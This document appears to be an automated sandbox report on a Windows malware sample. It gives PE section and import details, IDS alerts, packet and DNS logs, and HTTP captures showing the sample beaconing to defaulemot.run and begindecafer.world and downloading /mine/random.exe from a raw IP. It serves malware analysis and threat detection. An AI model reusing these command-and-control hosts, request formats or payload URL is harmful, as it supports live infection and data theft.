jmp 00007F33747D7925h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x61057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x60000	0x2fc	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x611f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5f000	0x5f000	3a5a6d53cb7f5a9fb69c50fb7ae982ae	False	0.5962068256578947	data	7.112064277715599	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x60000	0x2fc	0x200	223ebf853034776981ef46762b4cd90b	False	0.8828125	data	6.615120099276992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x61000	0x1000	0x200	f47b289bcee0e13a937cc29db13607bf	False	0.150390625	data	1.0437720338377494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bwmlijum	0x62000	0x2a9000	0x2a8600	f5812c4aea9e7f5f9af5cb82b0878dc6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
stipktic	0x30b000	0x1000	0x400	66795677b9db4f74ff02ba0b590c1692	False	0.814453125	data	6.382357616402959	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x30c000	0x3000	0x2200	33baf2465d28991bccd95ba0ef32ad64	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x30a1d4	0x2a3	XML 1.0 document, ASCII text			0.5111111111111111

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-09T13:49:17.350115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49683	104.21.80.1	443	TCP
2025-03-09T13:49:21.148109+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49684	104.21.80.1	443	TCP
2025-03-09T13:49:24.175471+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49685	104.21.80.1	443	TCP
2025-03-09T13:49:27.758004+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49686	104.21.80.1	443	TCP
2025-03-09T13:49:33.125653+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49688	104.21.80.1	443	TCP
2025-03-09T13:49:37.047832+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49693	104.21.80.1	443	TCP
2025-03-09T13:49:43.128778+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49694	104.21.80.1	443	TCP
2025-03-09T13:49:45.333116+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49695	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 9, 2025 13:49:15.192647934 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:15.192708015 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:15.192780972 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:15.196006060 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:15.196033001 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:17.350017071 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:17.350115061 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:17.354751110 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:17.354773998 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:17.355026007 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:17.403506994 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:17.403538942 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:17.403665066 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.322608948 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.322648048 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.322709084 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.322725058 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.333441019 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.333477974 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.333489895 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.333498955 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.333539009 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.345551968 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.345623016 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.345668077 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.345679045 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.358520985 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.358578920 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.358587027 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.409584999 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.409603119 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.456434965 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.531891108 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.531980991 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.532042980 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.532815933 CET	49683	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.532834053 CET	443	49683	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.735007048 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.735050917 CET	443	49684	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:18.735136032 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.735441923 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:18.735455990 CET	443	49684	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:21.147973061 CET	443	49684	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:21.148108959 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:21.149403095 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:21.149424076 CET	443	49684	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:21.149653912 CET	443	49684	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:21.150788069 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:21.150934935 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:21.150958061 CET	443	49684	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:21.150995970 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:21.196337938 CET	443	49684	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:22.327680111 CET	443	49684	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:22.328026056 CET	49684	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:22.455414057 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:22.455485106 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:22.455564022 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:22.455919027 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:22.455934048 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:24.175261974 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:24.175471067 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:24.176789045 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:24.176820040 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:24.177066088 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:24.178242922 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:24.178409100 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:24.178443909 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:24.178513050 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:24.220351934 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:25.511887074 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:25.512137890 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:25.512228966 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:25.512267113 CET	49685	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:25.512284994 CET	443	49685	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:25.817994118 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:25.818011045 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:25.818423033 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:25.818423033 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:25.818453074 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:27.757868052 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:27.758003950 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:27.778749943 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:27.778769016 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:27.779120922 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:27.781411886 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:27.782085896 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:27.782114983 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:27.782191992 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:27.782198906 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:30.433387995 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:30.433645010 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:30.433651924 CET	443	49686	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:30.433696985 CET	49686	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:31.253043890 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:31.253084898 CET	443	49688	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:31.253221989 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:31.253559113 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:31.253580093 CET	443	49688	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:33.125582933 CET	443	49688	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:33.125653028 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:33.127264023 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:33.127276897 CET	443	49688	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:33.127521992 CET	443	49688	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:33.128827095 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:33.128938913 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:33.128958941 CET	443	49688	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:34.134716034 CET	443	49688	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:34.134982109 CET	443	49688	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:34.135205030 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:34.135315895 CET	49688	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:34.842670918 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:34.842715979 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:34.842782021 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:34.843079090 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:34.843092918 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.047740936 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.047832012 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.049355030 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.049369097 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.050219059 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.084312916 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.085150957 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.085186958 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.085282087 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.085313082 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.085405111 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.085455894 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.085557938 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.085587025 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.085715055 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.085727930 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.085858107 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.085871935 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.085902929 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.086050034 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.086069107 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.086082935 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.086210012 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.086234093 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.086250067 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.086263895 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.086277962 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.086354971 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.086375952 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:37.086385012 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.086400032 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:37.086430073 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:42.776051998 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:42.776187897 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:42.776248932 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:42.776443958 CET	49693	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:42.776464939 CET	443	49693	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:42.787271023 CET	49694	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:42.787326097 CET	443	49694	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:42.787421942 CET	49694	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:42.787729025 CET	49694	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:42.787744999 CET	443	49694	104.21.80.1	192.168.2.9
Mar 9, 2025 13:49:43.128777981 CET	49694	443	192.168.2.9	104.21.80.1
Mar 9, 2025 13:49:43.149880886 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:43.149913073 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:43.150000095 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:43.150372982 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:43.150386095 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:45.333031893 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:45.333116055 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:45.335833073 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:45.335845947 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:45.336167097 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:45.337568045 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:45.337594032 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:45.337640047 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:46.500561953 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:46.500737906 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:46.500799894 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:46.501569986 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:46.501594067 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:46.501609087 CET	49695	443	192.168.2.9	188.114.97.3
Mar 9, 2025 13:49:46.501615047 CET	443	49695	188.114.97.3	192.168.2.9
Mar 9, 2025 13:49:46.504789114 CET	49696	80	192.168.2.9	176.113.115.7
Mar 9, 2025 13:49:46.509850025 CET	80	49696	176.113.115.7	192.168.2.9
Mar 9, 2025 13:49:46.509938002 CET	49696	80	192.168.2.9	176.113.115.7
Mar 9, 2025 13:49:46.510071993 CET	49696	80	192.168.2.9	176.113.115.7
Mar 9, 2025 13:49:46.515044928 CET	80	49696	176.113.115.7	192.168.2.9
Mar 9, 2025 13:49:47.128731966 CET	49696	80	192.168.2.9	176.113.115.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 9, 2025 13:49:15.166224957 CET	61461	53	192.168.2.9	1.1.1.1
Mar 9, 2025 13:49:15.186017990 CET	53	61461	1.1.1.1	192.168.2.9
Mar 9, 2025 13:49:43.130059958 CET	52005	53	192.168.2.9	1.1.1.1
Mar 9, 2025 13:49:43.149008989 CET	53	52005	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 9, 2025 13:49:15.166224957 CET	192.168.2.9	1.1.1.1	0xa21b	Standard query (0)	defaulemot.run	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:43.130059958 CET	192.168.2.9	1.1.1.1	0x6210	Standard query (0)	begindecafer.world	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 9, 2025 13:49:15.186017990 CET	1.1.1.1	192.168.2.9	0xa21b	No error (0)	defaulemot.run	104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:15.186017990 CET	1.1.1.1	192.168.2.9	0xa21b	No error (0)	defaulemot.run	104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:15.186017990 CET	1.1.1.1	192.168.2.9	0xa21b	No error (0)	defaulemot.run	104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:15.186017990 CET	1.1.1.1	192.168.2.9	0xa21b	No error (0)	defaulemot.run	104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:15.186017990 CET	1.1.1.1	192.168.2.9	0xa21b	No error (0)	defaulemot.run	104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:15.186017990 CET	1.1.1.1	192.168.2.9	0xa21b	No error (0)	defaulemot.run	104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:15.186017990 CET	1.1.1.1	192.168.2.9	0xa21b	No error (0)	defaulemot.run	104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:43.149008989 CET	1.1.1.1	192.168.2.9	0x6210	No error (0)	begindecafer.world	188.114.97.3	A (IP address)	IN (0x0001)	false
Mar 9, 2025 13:49:43.149008989 CET	1.1.1.1	192.168.2.9	0x6210	No error (0)	begindecafer.world	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

defaulemot.run

begindecafer.world

176.113.115.7

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49696	176.113.115.7	80	6576	C:\Users\user\Desktop\BTn1AT2k3Y.exe

Timestamp	Bytes transferred	Direction	Data
Mar 9, 2025 13:49:46.510071993 CET	78	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive Host: 176.113.115.7

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49683	104.21.80.1	443	6576	C:\Users\user\Desktop\BTn1AT2k3Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-09 12:49:17 UTC	265	OUT	POST /jUSiaz HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 51 Host: defaulemot.run
2025-03-09 12:49:17 UTC	51	OUT	Data Raw: 75 69 64 3d 62 65 39 33 65 31 32 61 66 37 66 31 35 63 33 33 30 31 39 36 62 35 64 33 66 64 36 34 65 32 37 35 65 36 30 66 63 61 65 32 30 33 26 63 69 64 3d Data Ascii: uid=be93e12af7f15c330196b5d3fd64e275e60fcae203&cid=
2025-03-09 12:49:18 UTC	794	IN	HTTP/1.1 200 OK Date: Sun, 09 Mar 2025 12:49:18 GMT Content-Type: application/octet-stream Content-Length: 14134 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qxRlrPHKl57SleJiqY%2F0GITCTkNPJMjhTKfV%2FuezKG9Zvb8Bcl49N7LS9QRNVOPZz%2FvmlXOJhxPnE7aiTEesJEobM7vbdW%2FFHpJ6qCq%2Behw4crI%2FiKUO%2FSXWswRF602CHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91dab1055f21c4bb-SEA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=30945&min_rtt=28150&rtt_var=9876&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=952&delivery_rate=86872&cwnd=236&unsent_bytes=0&cid=1b5b251c5675bc7b&ts=1094&x=0"
2025-03-09 12:49:18 UTC	575	IN	Data Raw: e1 a0 25 e7 b9 62 b4 be cc 05 0d 7b b6 53 5b 67 84 1c 14 20 b0 2e a2 30 a6 7b be dd fb 2e 2b 77 ad 86 cc 9c f3 78 6d fa fb b0 e7 cc a9 36 eb 43 87 98 42 96 5b 62 f6 2e 0e 90 18 35 f8 73 de 8b e1 74 d1 18 6f ab 79 5a 1a d6 e3 e3 06 d2 6d e0 7a ce c3 00 0b 61 92 02 40 d1 b4 b4 7d 1f 64 df 67 23 38 41 4d e6 72 3f af 4d bb 31 0d b4 d7 46 c1 60 f0 df fc 9b 75 23 1d 46 52 b3 1b 82 d3 b8 6a 7e 15 98 5e 6a fa f4 7b 4c df 47 ba c5 3e b2 06 5e 5b 63 c9 bf 11 e4 d5 27 7c 1f 87 c9 66 a9 5e e4 a7 56 e0 f9 da f7 4a e8 51 a5 2d 27 e3 1a 8c f0 11 c7 2c 40 8a 12 eb 69 5c c6 bb 42 5a a8 5e 99 44 9e 28 7a ef 5a f9 c8 83 64 8d 5a ea 81 0a 8b 3b 83 aa 68 e3 75 10 75 4f 4f a6 9d 35 1c ed 8f 8d 90 7b 3a 3d b8 ee e7 40 2b f4 45 9a ef f8 fc 79 d5 cd b7 b7 45 52 d4 de ca 58 89 73 Data Ascii: %b{S[g .0{.+wxm6CB[b.5stoyZmza@}dg#8AMr?M1F`u#FRj~^j{LG>^[c'\|f^VJQ-',@i\BZ^D(zZdZ;huuOO5{:=@+EyERXs
